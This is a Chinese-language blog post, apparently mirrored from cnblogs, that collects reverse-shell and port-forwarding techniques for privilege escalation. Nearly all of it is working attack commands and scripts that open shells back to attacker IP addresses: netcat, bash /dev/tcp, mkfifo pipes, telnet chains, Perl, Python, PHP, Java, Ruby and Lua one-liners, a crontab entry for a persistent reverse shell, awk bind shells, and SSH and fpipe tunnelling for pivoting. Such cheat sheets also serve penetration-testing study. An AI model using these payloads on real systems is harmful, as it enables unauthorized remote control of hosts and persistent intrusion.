zoukankan      html  css  js  c++  java
  • 系统提权-各种反弹shell使用

    ### [https://krober.biz/misc/reverse_shell.php](https://krober.biz/misc/reverse_shell.php)

    ### telnet to telnet 在目标系统生成一个转发shell,这个shell需要在攻击者本地监听两个端口分别是9970和9980
    * nc -lvnp 9980 (攻击者本机本地监听9980,此处输入命令但结果显示会在本地监听的另一个端口显示)
    * nc -lvnp 9970 (攻击者本机本地监听9970,此处是显示命令执行的结果)
    * telnet 10.57.239.50 9980 | /bin/bash | telnet 10.57.239.50 9970

    ### Windows下端口重定向工具fpipe
    * 在Windows环境下执行如下命令:
    * FPipe.exe -l 801 -s 1081 -r 22 10.21.33.22
    * 上述命令的含义:
    * 表示在Windows环境下本地监听801端口,这个端口是供外部主机连接,然后外部主机尝试连接801端口,fpipe会将此连接进来的端口流量转发至本机的1081端口,之后将1081端口出来的流量转发至最终需要连接的10.21.33.22的22端口
    * fpipe的下载地址:http://downloadcenter.mcafee.com/products/tools/foundstone/fpipe2_1.zip

    ### Linux下使用ssh进行本地,远程,隧道,或动态端口转发
    * ssh -[L/R] [local port]:[remote ip]:[remote port] [local user]@[local ip]
    * ssh -L 8080:127.0.0.1:80 root@192.168.2.80 Local Port
    * ssh -R 8080:127.0.0.1:80 root@192.168.2.80 Remote Port
    * ssh -D 127.0.0.1:9060 -N [username]@[ip]
    * proxychains ifconfig

    ### 在netcat没有-e参数或者被删除禁用了可以使用mknod
    * nc -lvnp 4488 (攻击者IP地址 10.7.9.50)
    * mknod backpipe p; nc 10.7.9.50 4488 0<backpipe | /bin/sh 1>backpipe (目标主机上执行)
    * Note: 上述mknod的使用之间0<backpipe 1>backpipe不能有空格,否则执行不成功,当然这个backpipe的名称可以随便换


    ### netcat反弹shell
    * nc -lvnp 4488 (攻击者IP地址 10.7.9.50)
    * nc 10.7.9.50 4488 -e /bin/bash (目标主机上执行)
    * /bin/sh | nc 10.7.9.50 4488

    ### 不使用netcat可以使用/dev/tcp套接字的编程特性,重定向/bin/bash到远程系统
    * /bin/bash -i > /dev/tcp/10.7.9.50/4488 0<&1 2>&1 (目标主机上执行)
    * bash -i >& /dev/tcp/10.7.9.50/4488 0>&1
    * 0<&196;exec 196<>/dev/tcp/10.7.9.50/4488; sh <&196 >&196 2>&196
    * nc -lvnp 4488 (攻击者IP地址)

    ### 不用netcat和/dev/tcp
    * mknod backpipe p && telnet 10.7.9.50 4488 0<backpipe | /bin/sh 1>backpipe (目标主机执行,注意:使用&&的时候如果执行了一次生成了backpipe,再次执行此命令还显示已经存在backpipe执行不了,如果要再次执行可以更好backpipe名字或者删除backpipe)
    * mknod backpipe p; telnet 10.7.9.50 4488 0<backpipe | /bin/sh 1>backpipe (目标主机执行,注意:使用;的时候如果执行了一次生成了backpipe,再次执行此命令是没有问题,可以一直执行此相同的命令)
    * rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.7.9.50 4488 >/tmp/f
    * nc -lvnp 4488 (攻击者IP地址)

    ### 使用perl反弹shell
    * perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"10.7.9.50:4488");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;' (目标主机上执行)
    * nc -lvnp 4488 (攻击者本地监听)

    ### 使用perl代码反弹shell
    * nc -lvnp 4488 (攻击者本地监听)
    * 新建并编辑脚本 vim reshell.pl
    ```
    #!/usr/bin/perl

    use Socket;
    $i="10.7.9.50";
    $p=4488;
    socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));
    if(connect(S,sockaddr_in($p,inet_aton($i))))
    {
    open(STDIN,">&S");
    open(STDOUT,">&S");
    open(STDERR,">&S");
    exec("/bin/sh -i");
    };
    ```

    ### 使用Python反弹shell
    * nc -lvnp 4488 (攻击者本地监听)
    * 新建并编辑脚本 vim reshellpy1.py
    ```
    #!/usr/bin/python

    import socket
    import subprocess
    import os

    s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
    s.connect(("10.7.9.50",4488))
    os.dup2(s.fileno(),0)
    os.dup2(s.fileno(),1)
    os.dup2(s.fileno(),2)
    p=subprocess.call(["/bin/sh","-i"])
    ```

    * 新建并编辑脚本 vim reshellpy2.py
    ```
    这个暂未测试,需要更改脚本

    #!/usr/bin/python
    import socket,subprocess

    HOST = '10.16.44.100' # The remote host
    PORT = 443 # The same port as used by the server
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    # connect to attacker machine
    s.connect((HOST, PORT))
    # send we are connected
    s.send('[*] Connection Established!')
    # start loop
    while 1:
    # recieve shell command
    data = s.recv(1024)
    # if its quit, then break out and close socket
    if data == "quit": break
    # do shell command
    proc = subprocess.Popen(data, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
    # read output
    stdout_value = proc.stdout.read() + proc.stderr.read()
    # send output to attacker
    s.send(stdout_value)
    # close socket
    s.close()
    ```

    ### php反弹shell
    * nc -lvnp 4488 (攻击者本机监听)
    * php -r '$sock=fsockopen("10.57.239.50",4488);exec("/bin/sh -i <&3 >&3 2>&3");' (目标主机上执行)

    ### Java反弹shell
    * nc -lvnp 4488 (攻击者本机监听)
    ```
    暂未测试

    r = Runtime.getRuntime()
    p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/10.7.9.50/4488;cat <&5 | while read line; do $line 2>&5 >&5; done"] as String[])
    p.waitFor()
    ```

    ### ruby反弹shell
    * nc -lvnp 4488 (攻击者本机监听)
    * ruby -rsocket -e 'exit if fork;c=TCPSocket.new("10.7.9.50","4488");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'

    ### lua反弹shell
    * nc -lvnp 4488 (攻击者本机监听)
    ```
    lua -e "require('socket');require('os');t=socket.tcp();t:connect('10.57.239.50','4488');os.execute('/bin/sh -i <&3 >&3 2>&3');"
    ```

    ### 计划任务crontab反弹shell
    * nc -lvnp 4488 (攻击者本机监听)
    ```
    目标主机添加如下计划任务
    * * * * * /bin/bash -i >& /dev/tcp/10.7.9.50/4488 0>&1
    ```

    ### 使用awk或者gawk在目标主机监听端口,然后攻击者主动连接,这个脚本不是反弹脚本
    ```
    新建编辑shell.gawk 添加如下脚本

    #!/usr/bin/gawk -f

    BEGIN {
    Port = 4488
    Prompt = "p0rietea> "

    Service = "/inet/tcp/" Port "/0/0"
    while (1) {
    do {
    printf Prompt |& Service
    Service |& getline cmd
    if (cmd) {
    while ((cmd |& getline) > 0)
    print $0 |& Service
    close(cmd)
    }
    } while (cmd != "exit")
    close(Service)
    }
    }

    然后给其执行权限chmod +x shell.gawk
    ```
    * awk也可以
    ```
    新建编辑shell.awk 添加如下脚本

    #!/usr/bin/awk -f

    BEGIN {
    Port = 4488
    Prompt = "p0rietea> "
    Service = "/inet/tcp/" Port "/0/0"
    while (1) {
    do {
    printf Prompt |& Service
    Service |& getline cmd
    if (cmd) {
    while ((cmd |& getline) > 0)
    print $0 |& Service
    close(cmd)
    }
    } while (cmd != "exit")
    close(Service)
    }
    }

    然后给其执行权限chmod +x shell.awk
    在攻击主机上执行nc 10.7.9.50 4488
    ```系统提权-各种反弹shell使用

  • 相关阅读:
    java中如何使正在运行中的线程退出
    Java如何等待子线程执行结束
    java解析xml几种方式
    【Flask】配置参数
    【Flask】Session
    【Flask】jinja2
    【Flask】Request
    【Flask】Respones
    【Flask】路由系统
    【Flask】认识Flask
  • 原文地址:https://www.cnblogs.com/autopwn/p/13525290.html
Copyright © 2011-2022 走看看